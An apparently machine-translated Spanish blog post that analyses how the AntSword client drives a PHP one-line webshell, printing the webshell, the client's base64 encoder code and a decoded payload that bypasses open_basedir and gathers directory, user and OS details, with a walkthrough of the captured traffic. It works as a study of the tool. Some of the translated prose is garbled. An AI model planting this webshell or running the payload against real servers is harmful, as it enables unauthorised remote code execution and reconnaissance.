Mi informacion de contacto
Correo[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Referirse a
porPrimeroPor ejemplo
caballo de Troya
<?php @eval(base64_decode($_POST['ant']));?>
Obtenga el contenido del parámetro ant, luego decodifíquelo en base64 y ejecútelo
Codificador
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Genere un número aleatorio ID aleatorio, codifique los datos en base64 y páselos al parámetro ID aleatorio.
Entonceseval(base64_decode($_POST[${randomID}]));die();
Realizar codificación base64
De lo contrario
El troyano lo consigue primero.data[pwd]
Eso esant
El valor se obtiene después de la decodificación base64.
eval(base64_decode($_POST[${randomID}]));die();
De hecho, el troyano se convirtió
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Supongamos que el número aleatorio generado randomID esA
, entonces eso es
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
En el segundo paso del caballo de Troya, eldata[randomID]
, eso es$_POST[${randomID}]
, es decir, aquí$_POST[A]
Ha sido codificado en base64, por lo que es necesario decodificarlo una vez. Entonces surge la pregunta: ¿por qué es necesario ejecutarlo dos veces? ? ?Entonces tienes que comprobarlo desde el paquete de tráfico.
Aquí no hay ninguna demostración sobre la construcción del entorno. Xiaopi, Yijian y burpsuite son suficientes.
Decodificar la base del paquete de datos.
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Entonces se convierteeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Eche un vistazo a este gran párrafo y ordénelo.
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Por supuesto, no conozco muchas funciones, ¡pero existe la IA!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Este párrafo es
Desactivar la visualización de errores
Establecer el tiempo de ejecución del script
Obtenga el valor de configuración de open_basedir y omitaopen_basedir
Restricciones de atributos
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Esta sección obtiene el directorio donde se encuentra el script actual e inicializa los parámetros de cadena.$R
, atraviesa la letra de la unidad, CZ destruye la letra de la unidad, usa la función posix_getegid para obtener el nombre de usuario, el grupo de usuarios y otros contenidos del usuario que ejecuta el script, detecta$u
Si existe. Si no existe, use la función get_current_user() para obtenerlo. Use php_uname() para obtener la información del sistema operativo.
Está muy claro en este punto. Este código PHP obtiene el directorio de ejecución actual, la letra de unidad, el usuario y la información del sistema operativo del troyano debido al uso del mecanismo de almacenamiento en caché.
Realizar salida colectiva en la función asoutput(),
Envíe el paquete de solicitud anterior al módulo repetidor y descubra que los resultados devueltos son los mismos
Pero esto todavía no puede explicar por qué hay dos evaluaciones. De hecho, el contenido pasado por ant pertenece a la cadena. Solo cuando se coloca una capa de evaluación afuera se ejecutará la evaluación interna como una función.
<?php
eval("eval('echo 1+1;');die();")
?>
Transformar
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
El resultado de salida final es 2, lo que significa que la evaluación externa convierte la cadena en una función para su ejecución, y la capa interna de evaluación ejecuta el contenido.
Entonces, en este ejemplo, la evaluación del troyano se usa para activar la función de evaluación en el paquete de solicitud, logrando así el efecto de ejecución de comando.